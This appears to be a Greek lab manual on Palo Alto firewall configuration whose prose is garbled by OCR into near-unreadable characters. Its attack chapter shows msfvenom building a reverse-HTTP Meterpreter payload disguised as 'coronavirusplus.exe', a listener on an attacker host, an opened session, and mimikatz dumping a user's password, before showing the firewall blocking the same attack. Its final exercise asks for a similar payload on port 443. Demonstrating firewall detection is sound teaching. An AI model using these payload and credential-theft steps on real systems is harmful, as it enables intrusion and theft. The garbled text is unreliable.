Group Profile WS_Security_Settings v QoS Marking None

(] Disable Server Response Inspection

Ewova 147 - Evraén tou Security Profile

ErunpdoBeta, SnULOUpYoUHE HLa VEX TIOALTLKN yla Tov Server pag mou €xeL tnv IP
SlevBuvon 192.168.2.10. Tnv MOALTIKN auTh TNV ovopdocaue “Server” (Ewkova 148) kal to

HOVO TIOU €XEL WG TIEPLOPLOUO elval To Security Profile “WS_Security_Settings”.

Ewova 148 - Anutoupyia moALTIKAG yLa Tov Server
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5.6.A0KLU VEQC AP AETPOTIONONG

Xpnotpomnowwvtag éva amno ta workstations kat €xovrag ouvéebel oto domain pe tov
xpnotn “ds1_user” avoiyoupe tov browser kat mpoonaBoUpe va pmoU e oto google.com yia
Vo TIPOYHOTOTOW)ooUpE pa avalitnon. 2tnv Ewova 149 PAfmoupe OtL 6ev €XOUUE

npoéoBaon otn pnxavn avalitnong tg google.

B

I This site can't be reached l

Ewova 149 - Abuvapuia mpocBaong ato google
Ao to TAB “Monitor” oto menu “Logs” kat otn cuvéxela oto “Traffic”, umopoupe va
doUpe mou eival to mpoPAnua. Evtomiloupe (Ewkova 150) TIC YPAUHEC OMOU TIOU HOG
evlladépouv. Alamiotwvoupe otL €xoupe “deny” otov xpriotn “ds\ds1_user”, pag Bonbaet o
User-ID Agent edw wote va yvwpilovpe emakplPwc tov xpriot, yla to Application “google-
base”. To cuykekpluévo application 8gv 10 £€X0UE OpLOEL O€ KATTOLA TTOALTLKI YLOL VOl ETILTPATTEL
N xPnon tou kat BAEmoupe OtL epapuoleTal 0 Kavovag TIou TIPOKUTTEL and To “interzone-

default”, onwg €xel kaboplotel dAAAwote otnv evotnta 3.6.2.

pa lo - Dashboard ACC

Policies  Objects _ Network _ Device & @

e PR St Dmvmion | Tfw Aovknkn ckn | A Sesionent

Ewova 150 - ArtokAelouds tng unxavrg avadritnong tng google
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TNV ouvéxelo €pooov To EMBUHOUUE TIpoXWPAUE otn SlopBwTik evépyela. ITo
Application Group pe tnv ovopacia “WS_Apps” (Ewova 151), Sokipaloupe mAAL Ko

BAEmou e ota logs OtL N kivnon €xet emutpanet (Ewkova 152).

Receve Time  Type FomZone ToZone  Source Source User Desunason ToPon Appicanon Action Rule Byes  Oef

Ewova 152 - Ta véa logs mou aivetat 0tL to google €xet emitparei

Aokwpalouvpe kot €va Application, to “Napster”, mou &€poupe OTL v TO €XOUUE
erutpéPel. BAEmou e OTL 0 Kavovag pag Asttoupyel. Ztnv 006vn tou xpriotn epndaviletal to
UNVU O OXETIKA LE TOV OTTOKAELOMO, OTIWG TO €XOUE KaBopioel otnv evotnta 3.7, aAAd Kol o

Slaxelplotng BAEneL tnv avaloyn eyypadn ota logs (Etkdva 153).
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© Application Blocked x4+
€ 9 C @ Notsecue | napstercom * O i
Application Blocked
Pt v ying blocked policy. your system ifye
User: ds\ds1_user
Application: napster

0315 19:40:46 Tusted | Untusted | 192168.2.22 88.221100.94 deny | interzone-defauk | policy-deny

03115 19:37:58 Tusted  Untusted | 192108222 ds\ds1_user 88.221.100.94 deny  interzone-default  policy-deny

03/15 193758 Tusted | Untusted | 192.168.2.22 dsids)._user 88.221100.94 deny | interzone-defauli__ policy-deny

Ewova 153 - To Napster elvat amokAeloUEVO
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6. 2Zevaplo eniBeong og workstation

210 kepaAalo autd Ba mapouvoldcoupe tnv duvatotnta tou Palo Alto va aviyvelel,
VO KATaypAadEL KOL VO OTAUATAEL ATTELAEG. 2TO OXN O TIOU TTAPOUCLACAUE 0TO KedaAatio 4, Oa
npooBEgoupe Kot Tov eTTIOEpevo. O emitiB€pevog Ba eival Eéva vm pe Asttoupytko Kali Linux
Omnwg €xeL kataypadel otnv evotnta 1.2, To onoio Ba Bpioketat ekto¢ Tou VMware, Ba avrKel
070 $UOLKO Hag SIKTUO TO OTIOLO O€ MPAYHATIKEG oUVONRKeC Ba Tav To Stadiktuo. Itnv Elkova

154 napouaoialetal oxnuatika n Sour mou Ba £xel To SIKTUO pOC.

L lINU poe
X " ;\“
Y

IP Address: \ ‘
10.10.10.99

ute e

L I97_I687_l

I9?_I68 |47om

mm 72
192 168.2.2 —
I92 168.2.254

Internal Network

Ewova 154 - TormoAoyia Siktuou e Kali Linux

EykaBiotoupe to Kali Linux oto VMware pe Baon tig odnyieg tng evotntag 2.2. Mpwv
EEKLVOOU LE OUWG TN AeLToupyia TOU vim Ba TPETIEL, OTIWG £XOULE KABOPILOEL, v TO EVTALOUE
oto puoLkod pag diktuo. To duoiko Siktud pag, o DHCP server tou router pag, pog Sivet
SlevBuvoelg 10.10.10.0/24. 3to Kali Linux Ba anmodwooupe tnv dtevBuvon 10.10.10.99 eite
Héoa amo To router eite anevuBeiag oto vm. Opiloupe to Network Adapter tou véou vm oe

“Bridged: Connected directly to the physical network” (Etkova 155).
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Virtual Machine Settings X
Hardware  Qptions

[ Device status
Device Summary

EMemory 268 £ connected
{"Fprocessors 1 [ Connect at power on

= Hard Disk (SCSI) 25GB
) AT Wasiis\De. .. Metwork connection

=) CO/DVD
Nemnrk Adapter tic) I (®) Bridged: Connected directly to the physical network I

]Us8 Controller Present [[IReplicate physical network connection state
£} Sound Card Auto detect
() Printer Present () NAT: Used to share the host's IP address

Cloisplay Auto detect () Host-anly: A private network shared with the host
(O Custom: Specific virtual network

VMnetd

I:I LAN segment:

LAN Segments.,, | | Advanced...

Ewova 155 - Kali Linux o€ bridged mode

To workstation mou Ba amoteA£éoel To oTtOX0 paG, €XEL Aettoupylkd Windows 7 Pro
64bit SP1. Ztov uTtoAoyLoTr) auTo Sev UTIAPXEL KaVEVa antivirus 1) internet security, evw Kot To
firewall Twv windows eival amevepyomownpuévo. H povn Sltabeoiun mpootacia mpogpyeTal
ano to Palo Alto. Xpnolpomnolwvtag to Metasploit, mou sivat StaBgowuo oto Kali Linux, 6a
dnuwoupynooupe €va apyelo mou Ba xpnoluomolel to port 80 WOTE v OTMOKTHOOUUE
npooBaon oto BUpa pag. Ano to Kali Linux Ba emibtwéou e va mapoupe Ta credentials tou
Xprotn tou workstation, o omoiog ivat o ds1_user kot €xeL kavel login og autd. H petadopa
TOU apxeilou PoUTOBETEL TNV XPrioN TEXVIKWYV social engineering, TGc0 yla tn petadopd Tou
opxeiou 600 Kal yla TNV eKTEAeon Tou. Asv Ba acxoAnBoU e 6w e TO WG aKPLBWE HUmopel

va eTUteUXBel auTo, KaBwG oL TpoToL ival moAAol.
6.1.Anuoupyla apyxetou pe to Metasploit

IKOTOG Hag Elval va SnULoupynooupe éva apxelo To omoio o xprotng Oa ekTeAEDEL.
MNa va yivel auto kal yvwpilovtag otL to workstation otoxog eival windows 64bit mpénel va

eTUAEEOUUE €va amo To KataAAnAa payloads amnd ta Stabéaipa tou Metasploit.

Apxika ektedoUpe to Metasploit oto Kali Linux. Adou avoiel to Metasploit ivoupe
Vv evtoAn “show payloads” yla va epdavicbolv 6Aa ta payloads (Ewkova 156). Amo tnv
StaBéoun Alota (Etkdva 157) emIAEYOUUE UE KPLTAPLO TO AELTOUPYLKO cuotnua, windows
64bit, Tov tpomo mou Ba yivel n emkowwvia, http kat to T BéAoUpE va EMITUXOUUE,

Meterpreter shell.
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File Edit View Search Terminal

Help

e HEBEBER

i HERERARARER

R R R

AR R R R R R R R R R R R R

# WAVE 5 ######## SCORE 31337 ######HEHEHIRIRUFHHRHBARFRHRERE### WIGH FFFFFFFF #

e
https://metasploit.co

]

=[ t
--=[ 1886 exploits -

[ 546 payloads -
--=[ 2 evasion

1065 auxiliary -
44 encoders - 10

328 post
nops

nsf5 > show payloads]]

Ewova 156 - Ekkivnon Metasploit kat evtoAn eupaviong payloads

Palo Alto

Ertdé€ape to “windows/x64/metrpreter_reverse_http” amnd ta dtaOowpa payloads

Kol Twpa Ba mpémel va dnuioup

b4 Reverse HTTP Stager (winhttp)

1/bind_ipvé_tcp uuid
1/bind_named pipe

/bind_tcp

/bind_tcp_uuid

(Windo

530 window
wind

, Metasm

x64)
X6+ ell/reverse tcp
shell/reve tep_red

uuid

tep
ind_ipvé_tcp

window:
Bind TCP
windows/x64/vncinj
Bind TCP St
window:

Named Pipe Stager
windows/x64/vncinject/bind_tcp
TCP Sta
window

/bind_ipv6 tcp uuid
with UUID Support
nject/bind_named pipe
Bind
538
Bind

539 4/vncinject/bind tcp uuid

VYN OOUUE €va EKTEAECLUO QPXELO exe.

normal windows Meterpreter (Reflective Injection x64),

shell,

110 (3
normal Inline (IPv6) (x64

normal Inline x64
normal t 0 ., Bind P
normal erse TCP

normal Windows x64 Command IPv6 Bind TCP

normal windows x64 Command Shell, IPv6 Bind TCP Stag

normal Windows x64 Command Shell, | Bind Named Pipe St

x64
x64

Command
Command S

Windows hell,

Windows

normal
normal

Bind TCP Stager
ger with UUID Supp

Command
Command

Windows
windows

normal
normal

x64
x64

Shell,
shell,

Nindows x64
Reverse TCP
Windows x64 Command Reverse TCP

normal Stager with UUID S

Windows Command $
Wind
Windows

normal
normal
normal

Bind TCP Inline
TCP Inline

e Injection), Windows

normal windows e Injection), Window

normal windows x6 e Injection), Windows x6

normal windows x (Reflective Injection), Window

normal windows X6 (Reflective Bind TCP S

Injection),

Ewova 157 - H Alota ue pepika amd ta payloads

XpnotwuomoloUpe tnv evtoAl msfvenom, pe tnv akoAoudn cuvragn:

windows/x64/meterpreter_reverse_http

LHOST=10.10.10.99 LPORT=80 -f

exe

“msfvenom -p

-0

coronavirusplus.exe” (Ewkova 158). XITIC MAPAPETPOUC TIG EVIOARG uTtApxeLl w¢ LHOST n IP

StevBuvon tou Kali Linux, oe kavovikég ouvBnkeg Ba Atav pla real Internet IP tevBuvon,

LPORT €xeL 6nAwOEel To port emikovwviag mou XpnoLUOTIoLELTAL KaL YL TO wWeb Kal Tto évoua

TOU TapayOUEVOU apxeiou elval to “coronavirusplus.exe”.

SeAiba 93 armnd 103



Palo Alto

msf5 > msfvenom -p windows/x64/meterpreter reverse http LHOST=10.16.10.99 LPORT=80 -f exe -o coronavirusplus.exe
[*] exec: msfvenom -p windows/x64/meterpreter reverse http LHOST=10.10.10.99 LPORT=80 -T exe -o coronavirusplus.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 207449 bytes

Final size of exe file: 214016 bytes

Saved as: coronavirusplus.exe

msf5 >

Ewova 158 - Anutoupyia apyeiou ue to msfvenom

To apyxeio petadépetal otnv enidpavela epyaciacg tov Bupartog (Ewkdva 159). Ze Alyo

To B0 Ba PEMEL va TO EKTEAEDEL.

coronaviruspl

Ewova 159 - To ekteAéoiuo ue to payload

6.2.Anuoupyla Tou listener

Yto Kali Linux, mpémel twpa va &nuioupynbel o listener mou Ba avalaBel tnv
Slaxelplon tTNG EMIKOWVWVIAC UE TOV QMOUOKPUOUEVO UToAoylotn-00ua, He Tn Xprion tou
payload mou €xoupe emiAé€el. E€akoAouBoupe va Sdouleloupe oto Kali Linux kot oto
Metasploit. Aivoupe apxikd tnv evtoAn “use multi/handler” (Ewkdva 160). AnAwvoupe otn

"

OUVEXELQ TO payload TIou Ba XPNOLLOTIOLOOUE set payload
windows/x64/meterpreter_reverse_http”. AkoAouBel o oplopog tng IP StevBuvong tou Kali
Linux unxovnuatog pag pe tTnv evtoAn “set LHOST 10.10.10.99” kat tou port tou Ba repLével
NV enikowvwvia o listener pe tnv evtoAn “set LPORT 80”. TéAog divoupe tnv evioAn “exploit”

Kal o listener exvael.

msf5 > use multi/handler

msf5 exploit( ) > set payload windows/x64/meterpreter reverse http
payload => windows/x64/meterpreter reverse http

msf5 exploit( ) > set LHOST 10.10.10.99

LHOST => 10.10.10.99

msf5 exploit( ) > set LPORT 80
LPORT => 80
msf5 exploit( ) > exploit

[*] Started HTTP reverse handler on http://10.10.10.99:80

Ewkova 160 - Anutoupyia listener
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6.3.EniBeon xwplic tnVv npootacia tou Palo Alto

H mpoondbela mou Ba kavoupe Paociletal oto yeyovog oOtL oto Palo Alto Ba
gvepyornolnBel n moAttiky mou ¢tafope otnv evotnta 3.6.2 pe TNV ovopaocia
“IN_TO_OUT_Allow_All". Ant6 to TAB “Policies” emiAéyoupe To menu “Security”. EmiAéyoupue
™V evepyn oAtk “ws” kot matdue to “Disable” oto kdtw pépog tng 0Bdvng, to dLo
KAVOUME Kal yla Tnv ToAltikn “Server” (Ewkova 161). AvtiBeta €mIAEYOUE TNV TTOALTIKN
“IN_TO_OUT_Allow_All” kot mataue to “Enable” oto katw pépog tng obovng. MA£ov

epapuodletal n moALTikn mou ev €xel kamola profiles oxetikd pe aopaiela.

Name Tags Type Zone Address User HIP Profile Zone Address Application Service Action

Ewova 161 - Evepyoroinon un a.o@aAoug moALTikic
Ytn ouvexela, adol To BUpa XL TTELCOEL OXETIKA E TNV a€LOTILOTIO TOU apXELlou TTou
£XELOTNV ETULPAVELD EPYOOLOC TOU, TO eKTEAEL ZTOV listener mou £xoupe PTLALEL, oTNV EVOTNTA
6.2 TmapamAavw, UTIAPXEL TIAéov Spaoctnplotnta Kot eykadiotatal cuvdeon Meterpreter

(Ewkova 162).

[*] Started HTTP reverse handler on http://10.10.10.99:80

[*] http://10.10.10.99:80 handling request from 10.10.10.96; (UUID: 6buo5neg) Re

directing stageless connection from /2cU4CRRz tps6m3oMmqwswFy-x0DsAnzLaiMtvIpYCK
1VIORPTHPbIMSHAT8ye0SzdtMX4ELBUEGeiN5V9Q5hjQZW6gvBLYTNSSSCNrzOM6 al6zdgIMwpVdY4r
h with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'

[*] http://10.10.10.99:80 handling request from 10.10.10.96; (UUID: 6buo5neg) At

taching orphaned/stageless session...
[*] Meterpreter session 1 opened (10.10.10.99:80 -> 10.10.10.96:3490) at 2020-03

-29 13:35:22 -0400

meterpreter > [j

Ewkova 162 - Meterpreter ouvdeon
O kavovag mou €xoue evepyorolnoel oto Palo Alto Sev €xel kapia mpootacia Kal To
Palo Alto amAd avayvwpilel kal eMTPENEL TNV Kivnon wg web-browsing (Ewkova 163) adou to
payload rou emuAé€ape xpnotpormnolel to port 80. Tnv cUYKEKPLUEVN KaTaypodr) UTOPOULE va
™ Soupe amnd to TAB “Monitor” oto menu “Logs” emiAéyovtag to “Traffic”, oto web interface

tou Palo Alto.
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Dashboard ACC Policies Objects Network Device

Ewova 163 - Kataypapn auvéeong Meterpreter ao to Palo Alto

Yuveyxiloupe tnv eniBeon pag divovtag evtodég pEoa amno to Meterpreter session. H
mpwTtn €lvat n “sysinfo” mou pag emotpedel MAnpodopieg yla To AELTOUPYLIKO GUOTNHO TOU
umoAoyLloth, To domain (Eltkova 164) KAT.. IKOTOC HOC, OTIWC EXOUUE avapEPEL OTNV apXh

oautou Ttou kedalaiou, eival va kKAEéPoupue ta credentials evog cuvdedepévou xpriotn.

meterpreter > sysinfo
Computer : USER-PC1

0s : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en US
Domain : DS

Logged On Users : 2
Meterpreter : X64/windows

Ewova 164 - Sysinfo
Jtnv Ewkova 165, ekteholpe tnv evtoAn “load mimikatz” wote va poptwOel to
epyadeio mimikatz oto meterpreter session. TEAOG €KTEAOUHE ML OO T EVIOAEC TOU
mimikatz mou eivat n “wdigest” kot BPAETOUE OTL £XOULLE AVOKTIOEL TTANPWGE TO OVOULO XPROTN

“ds1_user” kat to password “12345!@#5qs”.

meterpreter > load mimikatz

Loading extension mimikatz...[!] Loaded Mimikatz on a newer 0S (Windows 7 (Build
7601, Service Pack 1).). Did you mean to 'load kiwi' instead?

success.

meterpreter > wdigest

[!] Not currently running as SYSTEM

[*] Attempting to getprivs ...

[+] Got SeDebugPrivilege.

[*] Retrieving wdigest credentials

wdigest credentials

Domain User Password

Negotiate NT AUTHORITY LOCAL SERVICE

NTLM
0;122625 Kerberos DS dsl user 12345 1 @#%%qs
0;996 Negotiate DS USER-PC1$ 75 7e 05 77 17 69 la ef f9 f8
la ad b8 40 86 fd 2b 2b ac 19 25 e5 4f 17 9a 96 a2 67 @a d7 6e 7c 15 cd 02 2e 13

Ewkova 165 - Avaktwvtag credentials tov BQuuatog
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6.4.EniBeon pe tnv xpryon npootaciog tou Palo Alto

AkolouBwvtag Tmapopola  PBApaTto  OMWG  OTNV  TPONYOUMEVN  €vOTtnTa,
QIEVEPYOTIOLOUHE TNV TOALTIKN “IN_TO_OUT_Allow_All” kal gvepyomoloUpe tv “ws” kat

“server” (Elkova 166) mou eival ot acpaleic MOATIKEG ue BAon 6ca £XOUUE OploeL otnVv

gvotnta 5.5.

Name Tags Type Zone Address User HIP Profile Zone Address

Application Service Action
I 1 iversal gy S [ Gal & I
i m S m &
ntra; )
te )

Ewova 166 - Evepyoroinon ac@aAwy moALttikwy yla Sokiur meterpreter

Evepyomoloupe kat maAl tov listener oto Kali Linux onw¢ akplPwg To meplypaape
oTNV evoTnNTa 6.2 KOl O XPROTNG EKTEAEL Kal TIAAL TNV KaKOBOUAN edpappoyn mou Bploketal
oTnV emdAVELA EPYOOLOC TOU PE TO Ovopa “coronavirusplus.exe”. EA€yxoupue tov listener,

oA\& autp tn ¢dopd OAe¢ oL mpoomdaBeleg yia Snuwoupyla ouvdeong meterpreter

Stakornrtovral (Etkova 167).

msf5 exploit( > exploit

*1 rted HTTP rever

[*1 p://10.10.10.99 10.96; (UUID: lvodc7mm) Redirecting stageless connection from /2CU4CRRz_tps6m3oMmQKAwi7BZs-wBp:
P80oMwIob8KxXrpj ST UA 'Mozilla/5.0 (Windows NT 6.1; Trident/ v:11.0) like Gecko

[*] http://10.10.10 g ; (UUID: lvodc7mm) Attaching orphaned/: eless session..

[*] Meterpreter .99:80 - 0.96:7302) at 2020-03-29 14:20:

ed
; (UUID: lvodc7mm) Attaching orphaned/stageless session...
0.10.10.96:7306) at 2020-03-29 14:20:58 -0400

Died
96; (UUID: lvodc7mm) Attaching orphaned/stageless session...
0.10.96:7350) at 2020-03-29 14:21:32 -0400

[
[*] 10.10.10.96 - Meterpr
Meterpreter ses not valid and will be closed
[*] 10.10.10.96 - M r session 5 closed. Reason: Died

Ewkova 167 - Abuvaulia ouvdeanc meterpreter

MetaBaivoupe oto Palo Alto web interface kat emAéyoupe to TAB “Monitor”, to

menu “Logs” kat to “Traffic”. H ouykekplpévn kivnon €xel avixveuBel wg “threat” (Ewkova

168).
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Session End

Receive Tme  Type FromZone ToZone  Source Source User Destination ToPort Application Action  Rule = Bytes

Ewova 168 - Traffic monitor tn¢ aneiAng
EAéyxovtag ta “Threats” oto menu “Logs” Slamiotwvoupe OtL to Palo Alto €xetl
avayvwploel tnv anelAn pe Severity “Critical” kat to Name pe to neplexopevo “Metasploit

Windows Meterpreter Reverse HTTP Shell Detection”. To Action eivat “reset-both” mou

avtiotolxel otnv dlakormr) tng cuvdeonc.

W pd W, - Dashboard ACC Policies Objects Network Device

Receive Time _ Type Name. From Zone To Zone  Attacker Attacker Name  Victim To Port_ Application Action

Ewova 169 - Avayvapton arerig

To Palo Alto &laB€tel pLa oglpd and emontikég avadopeg onwe to “Threat Monitor”
(Ewova 170) péoa and to TAB “Monitor” kat to menu “App Scope” 1o onoio pog epdavilet
NV WPa, Twv apLlOUO KaL ToV TUTIO TwV eMBEcewy. Yrapxel eniong to “ACC” tab (Ewova 171),
1o omoio eival to Application Command Center”, 6mou Kal TAAL UMOPOUNE va BpoUpe
ypnyopa avoadopeg. 2to ACC umdpxel Lo TAnBwpa mAnpodopLwy LLE T Xprion mapa oAAwY
dIATpwWV Kal SEIKTWV OV S{vouV HLa. GUVOALKH EKTINGCN TOU PLOKOU TOU TIPOCTATEUOEVOU
SiktUou. Ito “Threat Activity” umdpyel kal MAAL TO Gvopa NG OMELNNG, TO severity kot n

Katnyopla mou ival to “code-execution” OMw¢ GAAWOTE QVAEVOTAV.
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Ewova 170 - Threat Monitor

paloalio
== =
@ e Eomran

Ewova 171 - ACC Activity Monitor
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7. Zuunepaopata — Emidoyog

To Palo Alto €xeL mapa oAU afloAoyeg SuvatoTnTEG, TOU COXETL{OVTAL TOOO LE TNV
Tipootacio anod anellég, 600 Kal e To eTinedo npooBaong o unnpecieg Tou Stadiktuou ou
emBupolpe va SWOOUUE OTOUG XPHOTEG Tou OIKTUOU Ha¢. H katnyoplomoinon twv
epopuoywyv, WOTE 0 SLOXELPLOTAG VO KAVEL UE EUKOALO TNV Epyacia TOU, lval amo Ta TTOAU
Suvata tou onueia. MNa va pmopet va sival aflomoto BERata, TPEMeL va SLOBETOUUE TIG

KATAAANAEG Adeleg xprionG wote To Palo Alto va £XeL TAVTOTE TLG TILO MPOCPATEC EVNLEPWOELG.

H mapopetponoinon ToOU TOPOUCLACOUE amoTeAel €vav amd Toug TOAAOUG
ouvbuaopoUg TOoU MMopel KAmolwog va  uAomoinoel. llvetal ocadég peE oo
npaypatonol)énkayv, ot n acdalela mou napexet to firewall e€aptatal ano TG eMAOYEC TOU
Slaxelplotn) Kal pmopetl va ¢tdoel oe efalpetikd emineda. Baoikry MopAPeETPO omoteAsl
mavtote 1o eninedo aopAAelag mov emBUPOUUE, TO omolo OXeTleTal YE T ayoabd mou

B£AoUE VA TPOOTATEVCOUE.
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8. MpPOTEVOUEVEC AOKAOELG

@ Edooov dev SouléPoupe oe meptBarlov Windows Domain Ba mpémnet o DHCP server

Tou Palo Alto va eival onwc neplypadetat otnv evotnta 3.5.7.

1" epyaoia

Anuloupynote véo Staxelplotr oto Palo Alto, and to TAB “Device”, XpnOLLOTIOLWVTOC
ta menu “Admin Roles” kat “Administrators”. O pdAog tou véou xpriotn Ba eival va pmopet

va BAEmneL povo ta “Threat Logs” kat to “ACC”.

Tip: Qo npemnet apyika va dnutoupyndei véog podoc oto “Admin Roles” e evepyo povo
0 “ACC” kat 10 “Threat”. To “Threat” Bpioketat katw amo 10 “Monitor”, “Logs”. Ztnv
OUVEXELX SNULOUPYOULE VEO Xprotn oto menu “Administrators”, evepyormotouue tnv enidoyn
“Role Based” oto “Administrator Type” katl €mIAEYOUUE TO POAO TTOU ONULOUPYNOOUE

vwpltepa.

2" gpyaoia

Meplopiote TNV mpocoPacn oto Management Interface. To web interface Oa mpénet va
elval mpooBactpo povo amod pia cuykekplpévn IP StevBuvon. H tevBuvon autr Ba mpémet

va arodidetal mavtote otov i8Lo UTIoAoyLoTH.

Tip: Bpiokouue t™v MAC 6blevBuvon tou uvmodoyioti mou JEAouue va
XPNOLUOTTIOLNOOUE. 2Tn OUVEXELX TTPEMEL va TpooTedel auth n MAC ue tnv emtduunti IP otov
DHCP tou Palo Alto. Tédog mpénel va entAeyei n IP auth w¢ povadikn ou Ba €xel mpooBaon
oto Management Interface. Auto yivetatr and to menu “Interface Mgmt” twv “Network

Profiles” oto TAB “Network”.
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3" gpyacia

Anuloupynote véa [MoAwtiky Aodoadeiag avtlypadovtag tnv “ws” Tou E€XOUUE
SnuoupynaoeL otnv evotnTa 5.5 1 OMWC TNV £XETE OVOUAOEL. Oa TIPEMEL va YIVEL VEVEPYN N
“ws”. ErutpéPte emumpoobeta, tnv Xprion tou Webex kat tou Skype o 6Aoug Toug XPrOTEC

oag.

Tip: oAa Bpiokovral ota Applications. To Webex eivat armAo va 1o npooBeoeic. To
Skype exet dependencies mou mpénel va evepyorowndouv kot auta (office365-consumer-

access, ssl, stun, websocket, windows-azure-base).

4" gpyaocia

Anuoupynote éva véo URL Filtering to omoio Ba eival avtiypado tou default. 2 autd
Ba npEmnel va anayopeUoeTe EMMPOCOeTa, TNV MPocPacn o OAa ta eKMALSEVTIKA SpLpATA.
EAéyEte TNV Katnyopio otnv omoia evtacoel to Palo Alto ta ekmaldeutika 1dpupota. Itn
OUVEXELX Oa TIPEMEL va ETUTPEYETE OTOUC XPrOTEC VAL £XOUV MPOCPaAcn UOVO OTO unipi.gr.

Asi&te ta logs. OuunOeite OtTL evepyn oag moALtikn elvat autr tng 3" epyaociag.

Tip: Sa npémet oto véo “URL Filtering Profile” mou Ga &énutovpyndei, va
xpnowuormotnVei n emtdoyny “Check URL Category”. 2tn ouvéxela Sa mpéemneL 0An n katnyopio
va yivel block kat va mpooteBei to www.unipi.qr oto Allow List. TéEAog to véo “URL Filtering

Profile” mpémnet va evrayxOei otn véa moAitikn mou xet dnuioupynVei atnv 3" epyaocia.

5" epyacia

Xpnowuomowwvtag 1o Metasploit O6nuwoupynote ekteAéolpo apxeio mou Ba

npayuatomnolel remote execution code, aflomowwvtag omolo payload emiBupeite mou Ba
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UTopouoe va pog emitpéPel meterpreter ouvdeon, xpnoldomolwvtag to port 443 oe

Windows 7 64 bit sp1. Mapouoldote ta logs mou dnuloupyouvtal;

Tip: akoAovBwvtac ta Bnuata tou kKepaaiov 6, eite o umoAoyLot ekto¢ domain,
EQOOOV Elval ETOL N MAPAUETPOIOINCN UaC, €ite evto¢ domain, emiAéyouus to payload

“windows/x64/metrpreter_reverse_http”. Ta logs Ga eupaviodouv oto ACC kat ota Threats.
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